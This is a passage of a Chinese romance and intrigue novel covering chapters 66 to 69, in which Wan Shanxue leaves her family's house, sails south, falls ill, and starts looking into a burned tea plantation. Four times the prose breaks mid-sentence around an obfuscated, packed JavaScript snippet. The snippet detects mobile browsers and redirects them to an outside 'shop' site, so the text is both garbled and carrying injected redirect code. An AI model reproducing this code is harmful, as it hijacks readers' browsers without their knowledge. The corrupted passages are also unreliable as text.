一声暴怒又夹杂着无尽羞惭的吼声响起，是万有善。 他朝万山雪走了几步，猛地捂住胸口，脸色由惨白转青，由青转紫，额上冷汗如瀑，喉咙里“咯咯”作响，瞪大了眼睛，想要再骂，却一个字也吐不出来。身躯晃了几下，向后直挺挺地倒去，重重撞在身后的八仙桌上，杯盘碗盏“哗啦啦”碎了一地。 他也随之瘫倒，不省人事。 “老爷！” “父亲！” “快！快叫大夫！” “天啊！出人命了！” 刹那间，花厅内彻底乱成了一锅煮沸的粥，所有秩序与礼仪荡然无存。 有些宾客们惊慌失措往门外逃去，有些试图去搀扶昏厥的万有善，有的冷眼旁观，有的摇头叹息。万家仆役更是乱作一团，如同无头苍蝇，不知是该先扶老爷，还是先制住疯癫的兰芬，忙得不可开交。 万山雪微微扬了扬下巴，早在门外久侯的大夫迅速上前为万有善施针诊治。 她就这样静静地立在满目狼藉与慌乱中，如同一座孤绝于世间的寒山。脸上没有大仇得报的淋漓快意，也没有目睹父亲倒地的惊慌痛楚，只有深不见底的疲惫。 像是踽踽独行千里的旅人，跋山涉水回到家中， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986845|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却发现亲人已经搬离，身在故乡依旧为客。 她慢慢地转过身，将手中那个承载了太多罪恶与血泪的紫檀木匣郑重地交给花露。而后，挺直了脊背，一步，两步……踏过满地碎瓷，绕过倒地的桌椅，穿过人群向外走去。 阳光毫无遮挡地泼洒进来，照亮了庭院空气中飞舞的尘埃，也照亮了她毫无表情的侧脸。光线过于炽烈，她微微眯起眼睛，长长的睫羽在眼下投出一小片阴影，脚下却不曾有丝毫停顿。 万家朱红大门外，丰德带着几名精干的崔家伙计，已等候多时。见万山雪一行人出来，丰德快步迎上前，目光快速而仔细地在她身上扫过，见安然无恙，紧绷的嘴角才松弛下来。 他侧身指向身旁一位面容刚毅、眼神锐利的男子，对万山雪介绍道：“二奶奶，这位是兰大人身边的辛护卫，也是兰大人最为倚重的亲信。大人说，辛护卫武功高强，形式稳妥，有他陪着二奶奶南下，他们夫妇在京城也能少些忧虑。” 辛护卫约莫三十上下的年纪，闻言抱拳行礼：“在下辛骐，奉兰大人与夫人之命，护送崔二奶奶南下，但凭二奶奶差遣。”他话语简洁，目光沉静，自有一股令人信服的沉稳气度。 万山雪心下升起暖意，微微欠身还礼说道：“有劳辛护卫。此行恐多艰辛，万事拜托。” 辛骥再次抱拳，并不多言，侧身让出身后的马车。 万山雪退后两步，对着丰德深施一礼：“丰叔，您保重身体，等我回来。” 丰德看着她，“保重”二字才刚出口，便迅速别过头去。 她都明白。 丰德是心疼她。 他这个人，最是面冷心热，思虑周详。他必然清楚，今日她在万家闹得天翻地覆之事，明日便会家喻户晓，从此京城之中，再无她的立锥之地。家事插不上手，他便默默地打点好一切，直迎到万家门前，只为了让她能从容地离开。 经此一别，山高水远，不知何时才能相见。万山雪看着这位慈爱的长辈，心间满是不舍。 车夫轻喝一声，马儿打了个响鼻，在原地转了一大圈儿，好似替她十九年的人生画上一个潦草的句点。随即，马蹄踏在青石板上，车轮辘辘，开始向前滚动，将万家府邸那象征着荣耀与体面的朱红大门，一点点抛远。熟悉的街景，逐一后退模糊，最终消失在街角，再也看不见。 车内布置简洁却舒适，弥漫着淡淡的檀香气息，宁心安神。万山雪缓缓向后靠上微凉的厢壁，一直紧绷的脊背，终于彻底松懈下来。她闭上双眼，浓密的长睫在苍白的面颊上，投下两弯疲惫而安静的阴影。 第一战落下帷幕，终究是伤敌一千自损八百。 接下来等着她的，是茶园大火背后那些盘根错节的阴谋算计。 前路漫漫，风雨如晦，身后没有退路。 但她却丝毫不惧，只觉得盘踞在心中多年的那片厚重黏腻的迷雾，仿佛被这一场狂风暴雨骤然涤荡干净。 只剩下一片澄明。 67. 第 67 章 冬雨敲打着宣家老宅的瓦檐，声音细密而绵长，像无数只春蚕在昼夜不息地啃食桑叶。 江心澜走在前面推门而入，发丝上都沾着水汽，哀嚎一声：“不公平，一样经受雨水浸泡，这儿的姑娘们怎么个个水灵灵的，我已经要发霉了。” 景明洲一壁挂披风，一壁笑道：“橘生淮南淮北之别罢了，她们若是去北疆住上三个月，一样会皮糙肉厚。” 江心澜气得龇牙咧嘴：“景明洲，你知道你为何至今仍是孤家寡人么？” “舍小家为大家，忠君爱国呗。”景明洲理直气壮。 两人你来我往，磨牙取乐。 黎偃松顾不得擦掉手上的雨水，端起一杯热茶饮下，才从怀里取出父亲从京城加急送来的包裹。 这处位于晋陵与秀州交界深山里的茶王旧宅，如今成了黎偃松一行的临时据点。房里烛火摇曳，映照着摊开的地图，空气里常年弥漫着的茶叶清香，与纸张墨锭的冷香交织在一起，甚是好闻。 他在桌前坐下，仔仔细细拆开来看，信很厚，还附着一本账册，带着北地风霜的凛冽气息。 黎玄一反常态，竟用了十之八九的篇幅，详述与万山雪往来的始末——从花露之事，到她后来如何冒雨送账本，再到崔家内部的种种不宁，写得十分详细。最后一页墨迹不同，像是后来加上的，字里行间对她的遭际颇多感慨。 这些字句，终于将青鲤与金鲤此前打探来的那些支离破碎的讯息串联起来，拨开了他心头盘桓多日的疑云。 原来，崔万两家联姻，始于一场冰冷的谋划。 越是读下去，心口便越是发紧，像被一只无形的手牢牢攥住，闷得人几乎透不过气。 一封信，写尽了她十九年的酸楚：年幼失恃，在继母精心编织的罗网中艰难长大，怀着一腔憧憬出嫁，迎来的却是夫家的冷待与折辱。继而从血淋淋的失去中慢慢清醒，重塑筋骨，最终下定决心与血脉至亲决裂。即便深陷泥淖，她仍不顾安危，将所知秘密和盘托出，只因“怕余生难安”。 那样艰难的日子，没有让她变得阴郁乖戾，反而如岩缝间的松柏，从贫瘠的土壤里深深扎根，向着有光的方向伸展，愈发挺拔苍翠。 他的目光流连于那些文字，眼见它们化作刀山火海，而她流泪流血，却一步未退，踉跄着坚定地踏了过来。 当年匆匆一面，他一直以为，也祈愿她被人妥善珍藏，细心呵护。没成想，到头来却是被命运逼出一身本领，在泥泞与血污中，独自杀出生路。 他只觉得心头一阵绞痛，忍不住手握成拳，紧紧地抵在心口。 景明洲与江心澜见状停住说笑，围了过来：“可是哪里不适？” 他摇摇头，勉强笑道：“可能方才的热水喝得急了，不要紧。” 在这沉甸甸的痛惜深处，有一股不合时宜却无比真实的暖流，正顽固地破土而出，渐渐浸润了四肢百骸。 她就要来了。 离开那片吞噬了她天真的故土，来到他暂且栖身的这片天地。纵然前路未测，但他没有看错，她终究是挣脱了，像一只终于啄破厚重壳障的鸟儿，义无反顾地振翅高飞。 这念头，让他连日来因调查金弘而绷着的神经松懈下来。 他生于京城，十三岁奔赴北疆，对这潮湿绵密的江南始终不大适应。可是此刻，那些他曾冒雨踏勘过的街巷、民居，忽然被赋予了别样的意义。 一想到她或许会在某个雨霁初晴的清晨，站在他曾驻足过的茶垄边，指尖拂过新发的嫩芽；或许会在某个斜阳西下的傍晚，走过某座他踏过的石桥…… 这份隐秘的共享，便足以慰藉他深藏的情愫，连这片危机四伏的土地，仿佛也染上了几分温暖的期许。 “黎偃松，你入魔了不成？” 对面传来江心澜的声音，将他从纷繁的思绪里猛地拽回。 “什么？” “喊你三声了，”她搁下手中正在标注隘口细节的笔，目光在他脸上停留片刻，“怎么，有情况？” 他将信纸和账本默默推了过去。 江心澜的脸色越来越沉，边看边忍不住斥骂：“畜生，这崔明之真不是个东西！兰芬、陶谦、金弘，简直是一窝披着人皮的魑魅魍魉！” 读到末尾，她气得将信纸往景明洲跟前重重一拍：“半年多时光，要将这么多磋磨硬生生压到一个人肩上。难为她，竟一步步扛过来了。在京城那些日子，我只顾着争分夺秒求学拜师，也没能多去陪陪她。” 黎偃松低头拨动茶叶，沉沉说道：“这把火阴差阳错，倒像是给她烧开了一条生路。虽然路上荆棘遍地，总好过困在京城的死胡同里，慢慢熬干心血。” “是啊，说句坏良心的，”江心澜叹了口气，“也多亏万姐姐遭了这些磨难，才阴差阳错摸清了金弘和崔家的秘密。这只老狐狸，比我们预想的还要狡猾深沉。只怕早在先皇托孤之前，就已经有了不臣之心。” 黎偃松微微颔首，眼底寒光凝聚：“金弘此人，太沉得住气，铺垫得早，藏得又这样深，忠臣模样一扮就是数年。真正是师父那句话，宁可孤身跟千军万马打一仗，也不愿跟这样的人说句话，太耗心神。” “话说回来，”江心澜转而叹道，“皇上虽年轻，论起沉稳倒不输金弘。到底得了先皇真传。上次金弘借题发挥，想除掉吴阻那事，我心惊肉跳了许久，生怕他得逞。没想到皇上竟能四两拨千斤，将风波悄然平息。若非如此，只怕咱们如今的处境更加棘手。如今再加上丰掌柜这本账册，局面便明朗多了。接下来，我们待要如何？” 景明洲一目十行将信笺和账本看完，思忖道：“如此说来，崔家茶园大火，必是有人授意。” “此话怎讲？”江心澜望向他。 “崔家与金弘府上那位大管家沾着远亲，这不是秘密。故而这些年，南方茶行明争暗抢，崔家却能始终稳坐钓鱼台。而且，我去看过，崔家茶园的防火布置，在同行里算是相当周密的。” 江心澜讶然：“你的意思是，并非生意场上的人得知崔明之不在京城趁势动手，而是……” “金弘自己。”黎偃松与景明洲几乎异口同声。 两人对视一眼，景明洲继续解释道：“这几年来，他暗中运送积聚的兵器物资，已足够支撑几场硬仗。此时对崔家下手，恐怕也是动手前清理门户、震慑异己之举。” 江心澜倒吸一口凉气：“这么说，崔母是不是对个中缘由心知肚明，才让万姐姐出面的？” 景明洲凝神半晌说道：“极有可能。不过也不要紧，她立下这般功劳，于公于私，我们都要力保她无虞。那位丰掌柜，黎伯父自然也会安排咱们在京中的人设法周旋，护他安稳。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990289|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黎偃松不愿再就这个话题深谈下去，打断道：“好了，当务之急是眼前的棋局。吴阻夫人即将临盆，不日便要设宴庆贺，我们须得趁早明朗计划。” 他深吸一口气，将胸腔里翻腾的那份悸动与揪心强行压下，目光落在面前那幅由江心澜精心绘制的晋陵-秀州地形图上。 “我们的证据链条，在运输网络、部分经手人及藏匿点上，已基本清晰。”他眼神如寒星，“应对之策，分三步走。” “第一步，阻其势。制造意外，让部分货物曝光，打乱其步调，敲山震虎，令其内部疑窦丛生，自乱阵脚。此事需借力打力，我们的人只需暗中引导，不可留下任何痕迹。” 景明洲点头，手指在地图上某处一点：“两日后子夜，晋陵老鸦渡。那里河道岔口多，夜间巡检松懈，正是动手的良机。我来安排。” “第二步，挖其根。这几个地方是金弘的命脉。继续严密监控，务必摸清具体人数、各级头领身份。” “第三步，亦是最关键的一步，”黎偃松的目光变得格外锐利，“尽快找到线头——金弘在江南真正的总负责人。” “你的意思是，吴险还不算是真正的负责人？” 江心澜心直口快，问到一半却蓦然顿住，恍然道，“不用解释，我明白了。吴险此人面上温和实则野心勃勃，极有可能在反向利用金弘的图谋，为自己铺路。” 景明洲瞥她一眼说道：“瞧这有问有答的，要不您跟自个儿聊会儿？” 江心澜正要反击，见黎偃松神色凝重，只冲他龇了龇牙。 “我们必须抢在前面，确保最终拿出的证据链确凿完整，能一击即中，不给金弘任何反扑的余地。” 书房内陷入短暂的沉默。 黎偃松无意识地摆弄着父亲的信笺，目光掠过“万山雪”三个字，神色不自觉地柔和下来。 “至于她……”他声音低沉了些，几乎融在窗外的雨声里，“她南下之路，须安排最得力的人手，明暗两路，确保万无一失。” 江心澜沉默片刻，轻声安慰道：“你也不必太过忧心。她既能从那般绝境中厮杀出来，自有她的韧性与智慧。我们替她拔除外围毒刺，剩下的路，她必能凭自己的力量走稳。” 景明洲已经走到门口，忽又回身问道：“谁？谁要厮杀过来？” 江心澜起身将他往外推：“忙你的正事去吧，半聋将军！” 黎偃松付之一笑，抬手窗推开一道缝隙。清冷湿润的空气立刻涌入，带着山间草木与泥土的凛冽气息。 透过沉沉的夜色，仿佛能看到那个正日夜兼程奔赴而来的身影。 何其有幸，能与牵挂之人处于同一片天空下。 他会在这里，为她构筑一道看不见的防线，扫清那些最致命的威胁。他会默默看着她，在焦土之上播种耕耘，让新的希望破土而出。 “等这里的事了了，”他忽然开口，“也该换个心境，好好看一看晋陵的山水。” 江心澜仍低着头，笔下勾勒着地图上最后几处关隘，闻言笔尖微微一顿，轻笑道：“预祝黎大将军所求如意，我就惨了，得预备好两份礼金……” “江心澜。”他倏地打断她，只觉得一股子热气直从心底轰然扑上脸颊。 长夜将尽，山雨欲停。 远行的船正乘风破浪，越来越近。 68. 第 68 章 马车在官道上颠簸前行，万山雪抱着手炉昏沉睡了片刻又倏然惊醒，目光落在窗外飞速掠过的枯黄景致上，陈年旧事在心头一幕幕浮现。 红璎取来一件厚袄给花露穿上，自己则守在炉火旁打起盹儿来。 花露猛地坐直了身子，怯怯地拽了拽万山雪，急切地比划几下。 她没看明白，找来纸笔递给花露。 只见她手指发颤地写下“翠雀”二字，而后抬头，眼里盛满了担忧。 红璎瞧见“扑哧”一声笑出来，眉眼弯成了月牙：“你若再晚会儿想起来，咱们就上船了。二奶奶早就考虑到了，知道翠雀日后必然不好过，方才一并带了出来，这会儿跟橘霜在后面车子上。” 花露猛地睁大眼，难以置信地看着万山雪，继而双手合十，喉咙里呜咽着，泪水霎时涌了出来。 万山雪吩咐车夫停下，郑重说道：“你倒是提醒我了。经此一事，万家是回不去了，总在将军府待着也不是长久之计。跟着我，前路吉凶未卜。你们若是愿意，我着人送你们去兰家安顿，或是给笔银子，你们寻个地方安稳度日，如此可好？红璎，你去后面问问翠雀的意思。” 花露毫不犹豫地用力摇头，重新抓起笔，这次写得慢了些，一笔一划都透着决心：“我要跟着姑娘，赎罪，求姑娘给个机会。” 万山雪正要说话，翠雀便来了。 她瞧见花露的脸，泪水又汪在了眼眶里，对万山雪哽咽道：“我本想跟着花露，一辈子服侍姑娘报答恩德。可我家里还有个老母亲，这两年她身体愈发不好，我委实放心不下。便是没有这件事，我也打算回去奉养她老人家了。” 她说着，将手里的包袱塞给花露：“好姐姐，这里面是我的两件新衣服，还没上过身，留给你做个念想吧。往后，你跟着姑娘，好好儿的。” 她呜咽着，再说不下去了，给万山雪磕了个头，扭头就走。 万山雪低声吩咐红缨：“你取二十两银子给翠雀，就说是给她赡养母亲用的，不许推辞。” 红璎应声而去，花露望着她，满眼感激。 万山雪低头看着那一行力透纸背的字，缓缓点头：“好，那你便跟着我吧。到了南边，自有你能做的事。只是记住，别再把自己当罪人。有些债，不是你一人该背的。好好活着，才是对恶人最大的惩罚。” 花露重重颔首。 待登船之时，暮色已浓到化不开。 夜风凛冽，卷着江面上的寒气扑面而来。送行的伙计将行李安置妥当，万山雪与他们告辞，便进了舱房歇下。 才刚合眼，耳畔就隐隐听到床板底下的呼吸声。 她疑心是自己听错了，屏住呼吸细细分辨，那微弱的气息却愈发清晰。她登时汗毛倒竖——这船是崔家伙计们包下的，怎会藏着旁人？ 她不动声色地走到舱口，确认自己可以随时逃离，才冷冷说道：“还要躲到什么时候？” “嫂嫂，小声点儿，是我。” 从塌下爬出来一个年轻女子，头发凌乱，脸上还沾着灰尘，正紧张地抬眼望来。 萧湘？ 万山雪着实有些意外。 萧湘站起身，一把将她拽过来，低声哀求道：“好嫂子，求求你千万别声张。” 万山雪稳住心神，反手闩上舱门，沉声问道：“你怎么会在这里？又为何躲在我的舱里？” 萧湘见她没有立刻喊人，松了口气，抓着她的衣袖苦苦哀求：“我是偷偷跑出来的，家里人还在附近找我呢。好嫂嫂，好姐姐，求你了，让我在你船上躲一躲吧！到了南边我就走，绝不会连累你。” “偷跑出来？所为何事？”万山雪蹙眉说道，“你一个小姑娘，独身远行太过凶险。” “所以我才想蹭嫂嫂的船嘛！” 萧湘嬉皮笑脸道，见万山雪神色凝重，又垂下头来，“我，我想去南边看看我姐姐萧泠。她就快生产了，我不放心。嫂嫂是知道的，我姐夫他对姐姐并不好。” 乍听还算合理，万山雪转念一想，察觉到了不对劲。若只是担心姐姐，央求父母派人陪同南下便是，何须大费周章？ “萧姑娘，关心手足是人之常情。纵然你们与姐夫此前有过龃龉，可她生产之际，你们前去探望是理所应当之事，谁也不能拦阻。你哥哥身子才好齐全，你又偷偷离家，若路上有个闪失，岂不让家人更担心？” 萧湘被她问得支支吾吾，眼神躲闪，不敢与她对视。 万山雪脸色沉了下来：“船即刻便要开了。你若不愿说实话，我也不逼你。但你必须立刻下船，我会派人送你回家。” “不要！”萧湘一听这话，顿时慌了神，死死攥住万山雪的手，声音都带了哭腔，“万姐姐，我不能回去！我、我听到了一些事……很要紧的事！” “什么事？” 萧湘看了眼紧闭的舱门，跺了跺脚，似是下定了莫大的决心，压低声音道：“前几日，我无意中听见爹爹和大哥在书房议事，提到了黎将军，说他人在南边儿。听那话音……好像有人要害他！我实在放心不下……” 万山雪心头猛地一震，面上却不动声色，并未接话。 萧湘愈发急切，声音里满是焦灼：“所以我才要去告诉他，让他千万当心。我不能眼睁睁看着……” 说到这里，她的脸颊泛起一抹红晕，声音低了下去，带着少女独有的羞怯与执着，“黎将军他是个好人，是保家卫国的大英雄，不该遭此险境的。” 原来如此。 万山雪瞬间了然。少女怀春，心系英雄，偶然听闻心上人有难，便一腔孤勇，不顾一切地要去报信。 看着萧湘那张写满焦急与关切的脸庞，万山雪心中涌起一阵叹息。这般炽热纯粹的心意，为了一个人便奋不顾身的模样，她也曾有过。 傻姑娘…… 她无声地叹了口气，脑海中猝然闪过那个梦。梦里，她与那人牵着手，并肩面对枪林箭雨，他掌心的温度，清晰得仿佛就在昨日。 万山雪摇摇头，将这荒诞的念头压下去，轻声道：“萧姑娘，首先，你若听到的真是机密，擅自泄露已是不妥。其次，黎将军何等人物？身负皇命，身边能人异士数不胜数。若南方当真有险情，自有朝堂上下为他筹谋，何须你一个深闺女子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997725|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千里迢迢冒此大险去报信？你这番举动，非但帮不了他，若被有心人察觉利用，反而会害了他，害了你自己，更连累整个萧家。” 萧湘怔怔地愣住了，脸上红一阵白一阵，满是羞愧与后怕，可眼底那份不甘与担忧，却依旧没有散去。 “我没告诉旁人，真的。”她急切地辩解，“我只告诉了你，我听爹爹说你这几日要南下，特意去向丰掌柜确认行程，才在码头这儿等你的。” “万幸。”万山雪微微松了口气，“这事到此为止，你绝不可再对第三人提起。至于南下……” 她看着萧湘瞬间亮起来的眼睛，摇了摇头，“你不能跟着我。我此去是处理崔家茶园的事务，沿途未必太平，我担不起你的安危。” “可是嫂嫂，”萧湘急得眼圈通红，“我保证乖乖听话，绝不给你添麻烦。我只是想离他近一点，万一能帮上忙呢？况且，我也真的想去看看姐姐……” 后面的话，她说得越来越轻，带着几分哀求。 万山雪有些头疼。这姑娘显然是铁了心要南下，若是强行送她回去，只怕她还会另寻办法，若是遇到歹人，只会更危险。 沉吟片刻，她终究是叹了口气：“你若执意要去，也不是不行。” 萧湘脸上霎时迸发出神采。 “但是，”万山雪话锋一转，语气陡然严厉，“你必须立刻写信回家报平安，只说你是担心姐姐，执意南下探视。信中绝口不可提黎将军。在你家人回信许可，或是派人来接你之前，你必须事事听我安排，不可擅自行动，更不许再提报信之事。你若答应，我便带你一程；若不答应，我现在就派人送你下船。” 萧湘咬着嘴唇权衡再三，用力点头：“我答应，我什么都答应！我这就写信。” 看着萧湘伏案疾书的侧影，专注里透着几分雀跃，万山雪心中的怜惜再次弥漫开来。 毫无疑问，黎偃松是极好的。人品贵重，正直磊落，心怀家国天下，更有和睦的家世。 可崔明之呢？若抛开那些情爱纠葛、后院腌臜，单论家境、才干、相貌，他又差了什么？ 这些在外人眼中光鲜亮丽的男子，他们的心里装着家国天下，装着利益权衡，装着知己同道，留给内宅女子的，往往只剩一地鸡毛。 将一腔孤勇与深情，系在一个或许根本不知晓她心意、也不需要这份心意的男子身上，太过渺茫，也太过荒唐。 历经风雨磋磨，她早已在心间筑起了高高的城墙。不再轻易相信男女之情，也不再将希望寄托于任何男子的垂怜与回应。 只是，看着萧湘这般明亮无畏的模样，她终究没有再说大道理。或许，每个人都要亲自走过，才能真正懂得个中意味。 她能做的，不过是在这段前路未卜的旅程里，尽量护着这个小姑娘，安稳走一程。 信送走后，船身微微一晃，缓缓驶离码头，向着烟波浩渺的江心而去。 万山雪望着窗外渐渐模糊的京城轮廓，轻轻摇了摇头，将心头因梦境而起的那一丝涟漪，彻底抚平。 前程晦暗，祸福难料。唯有清醒自持，才是最可靠的铠甲。 69. 第 69 章 船在江上行了十数日，中间经历两场不小的风雨，颠簸得厉害。 万山雪离京前连日筹谋奔波，心力交瘁，未曾好生歇息，底子早已虚空。一路舟车劳顿，加上江上湿寒之气无孔不入，行程才过半，她便病倒了。 起初只觉畏寒头痛，她当是寻常风寒，不愿声张，怕耽搁行程，只让红璎煮了姜茶，裹了厚衣裳硬撑着。谁知病来如山倒，次日便发起了高热，人烧得迷迷糊糊，双颊滚烫，终日只是昏沉沉睡着，梦里净是些凌乱破碎的旧影，每每惊醒时，中衣总如水里捞出来的一般。 船上几个姑娘急得团团转，轮流在旁照料。花露虽不能言，也一遍遍为她擦拭额头与手心。途中靠岸时请了郎中来看，开了几剂发散解表的药，喝下去却似泥牛入海，温热反复不退。不出几日，便瘦脱了相，下颌尖了，眼窝也深深陷了进去。 船至晋陵渡口靠岸时，已是腊月初。 连日冬雨暂歇，天色依旧灰沉沉的。江风裹挟着湿冷水汽扑面而来，刮在脸上如钝刀子割肉。 万山雪是被红璎和萧湘搀扶着下的船。她身上裹着厚厚狐裘，仍止不住发颤，脚下虚浮，像踩在棉花上。 崔家在南方的大掌柜崔福早已派人候在码头。万山雪勉力笑道：“你们先去忙正事，我在岸边坐一会儿。这些日子没踩过实地，腿还软着。” 辛骐连忙搬来一把带靠背的椅子。她缓缓坐下，静静打量四周。 久居京城，乍见这般开阔的水域，顿觉胸襟一疏，连身上的病痛也似乎消散了些许。视线掠过码头熙攘人群，不经意间捕捉到一道远远立在货堆旁的身影，那人也在望着她。 他身姿挺拔，穿着寻常的靛蓝粗布棉袍亦盖不住青年意气，头戴一顶宽檐斗笠，帽檐压得很低，只露出线条清晰的下颌。 虽然那人很快移开了目光，却令她莫名感到熟悉，这样的沉静克制，仿佛在哪里见过。 她试着直起腰想再看清楚，才刚消退的晕眩却又猛地袭来，弯腰欲呕，只得以袖掩口，强压下不适，后背沁出一层密密的冷汗。 萧湘慌忙上前扶住：“嫂嫂，又难受了么？” 这时，一位背着药箱的中年郎中缓步走近，探身询道：“这位夫人可是身子不适？在下倒是略通医术。” 红璎起初有些警觉，萧湘已应声道：“大夫，我嫂嫂病了好几日，吃药也不见好，您给看看吧。” 郎中闭目凝神诊了半晌脉，取出几枚小银针，在她头上颈后几处穴位扎下。 万山雪顿觉头痛胸闷之感缓解不少，轻声赞道：“若能早些遇见先生，不知少受多少罪。这几针下去，竟像活过来大半。” 郎中含笑说道：“夫人这是舟车劳顿，水土不服，加上心思郁结、劳心过度，外感内伤交攻，以致脾胃失和，外邪趁虚而入。症候虽急，好在底子不弱，调理起来也容易。待我开一剂方子，先祛湿邪和脾胃，再辅以食养徐徐温补吧。这小瓶里是安神丸，每日睡前服用一粒。睡眠好了，身子才好得快。” 他提笔写方，又仔细交代了煎服之法与饮食禁忌，便起身告辞：“夫人这两日不宜劳动，不如在此寻间客栈歇息两日，略好些再动身更为稳妥。” 红璎一行连忙答应。辛骐与崔家人交代了搬运事宜，便去寻客栈了。 萧湘接过方子细看说道：“藿香、佩兰、茯苓、白术、陈皮……我虽不大通医理，可看这几味药倒是极对嫂嫂症状的。且嫂嫂方才一言未发，他竟知道您失眠。真是巧了，刻意去寻，也未必遇得到这样好的郎中。” 万山雪闻言心中一动，回头再去寻那道靛蓝身影，人已不见了。 未免太过凑巧。 可她此刻并无余力思索，只是将药方递还给红璎，低声道：“按方抓药吧。”说完便倚回椅中，闭上了眼。 到了客栈，红璎她们一点儿没耽搁，煎好药服侍她喝下。 不知是方子对症，还是到了晋陵心绪稍安，到了夜间，高热竟真的退了些。虽然依旧虚弱，但至少不再头晕目眩，也能勉强进些清粥小菜。 红璎欢喜得直念佛，身边众人也都松了口气。 次日起来，更觉身子清爽许多。她不顾劝阻，换上一身干净衣裙，便径直往崔家别院去了。 崔家在晋陵的居所位于城西靠近云雾山脚的一处清静地界。三进的院落，白墙黑瓦，看起来颇有些年头，但维护得齐整。门前两棵老槐树，枝叶凋零，增添几分肃穆。 崔福早已得信，带着两位账房先生并几个仆役在门前等候。 见万山雪下车，崔福连忙迎上，躬身行礼，恭敬说道：“二奶奶一路辛苦！昨日听闻您玉体欠安，老奴真是忧心如焚。本欲立即前去请安，又怕扰了您静养。没想到您今日便亲至，如此劳心劳力，二奶奶要当心身子啊。” 崔福约莫五十上下，面皮白净，留着修剪整齐的短须，身穿簇新的宝蓝色绸面直裰，外罩玄色绲边马甲，打扮得比许多小富之家的老爷还体面。他说话语速适中，神情恳切，浑身透着经商之人特有的精明利落。 万山雪虚扶一下，淡淡道：“崔掌柜不必多礼。茶园事大，耽搁不起。我既来了，早些察看，心里也好有数。” “是是，二奶奶说得是。”崔福连连点头，侧身引路，“小心门槛。这宅子有些年岁了，比不得京城府邸轩敞，还望您莫要嫌弃。您住的东厢房早已收拾妥当，一应物件都是新的。” 院落不算阔大，却收拾得干净雅致，颇有几分江南园亭的韵味，假山盆景，回廊曲折，时值寒冬，草木依然不失葱郁之态。 在正厅落了座，丫鬟奉上热茶。崔福并不急着谈正事，先嘘寒问暖一番，又问饮食起居偏好习惯，需添置什么，殷勤备至。 万山雪耐着性子应了几句，便直入正题：“崔掌柜，茶园那场火，究竟是怎么起的？损失几何？如今善后事宜，进行到哪一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012478|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步了？” 此话一出，崔福脸上的笑容顿时敛去，满面羞惭：“此事皆是我一人之责，茶园遭此大难，累得二奶奶千里奔波，真是万死难辞其咎！” 他说得情真意切，眼眶微微发红，作势就要跪下。 “天灾人祸，非人力所能尽防。福叔打理茶园多年，劳苦功高，母亲在京中也常提起。如今事已发生，追悔无益，当务之急是查明缘由，妥善善后，及时将茶园重建之事筹备起来。” “二奶奶说得极是，我已命人将账册、工簿、火灾前后记录全数整理齐备，二奶奶随时可查。只是……” 他面现难色，叹了口气，“这场火来得实在太凶，又邪性，烧了整整一夜，救都救不及。不仅备好的茶青全毁了，连带三间大工坊、两处库房，还有一多半的老茶树……唉，损失实在惨重啊！” 万山雪静静听着，颔首示意他继续。 崔福又道：“这些日子，我是寝食难安，四处奔走，一要配合官府查案，二要安抚佃户匠人，三要清点损失。二奶奶方才说起这重建之事，真是千头万绪，大把的银子扔进去，只怕连个响也听不见。粗粗估算，若要恢复旧观，没个三五万两银子，怕是难成。这还不算误了春来茶市的损失……” 万山雪接过茶盏，并不喝，只轻轻用杯盖撇着浮沫，抬眼看向崔福：“福叔，官府那边，可有什么进展？这究竟是天灾，还是人祸？” 她问得直接，目光清凌凌的，仿佛能照透人心。 崔福神色一肃，压低声音：“官府派人查验几日，说是工坊里炒茶的火星子不慎溅出，引燃了堆放的干柴所致。已经定案，是意外失火。” “意外？”万山雪重复一遍，语气听不出喜怒，“所有的工坊库房，一夜之间全烧了，竟只是意外？” “二奶奶有所不知，”崔福忙解释，“咱们崔家茶园规模大，工坊库房都是连片建的，中间虽有隔断，但多是木质结构，一旦起火，风助火势，蔓延起来确实快。” 他顿了顿，声音更低了些，“若说人为，也不是没可能。咱们崔家在晋陵经营几代，虽说向来与人为善，可生意场上，难免有那眼红心黑的。唉，奈何没有真凭实据，也不敢妄言。” 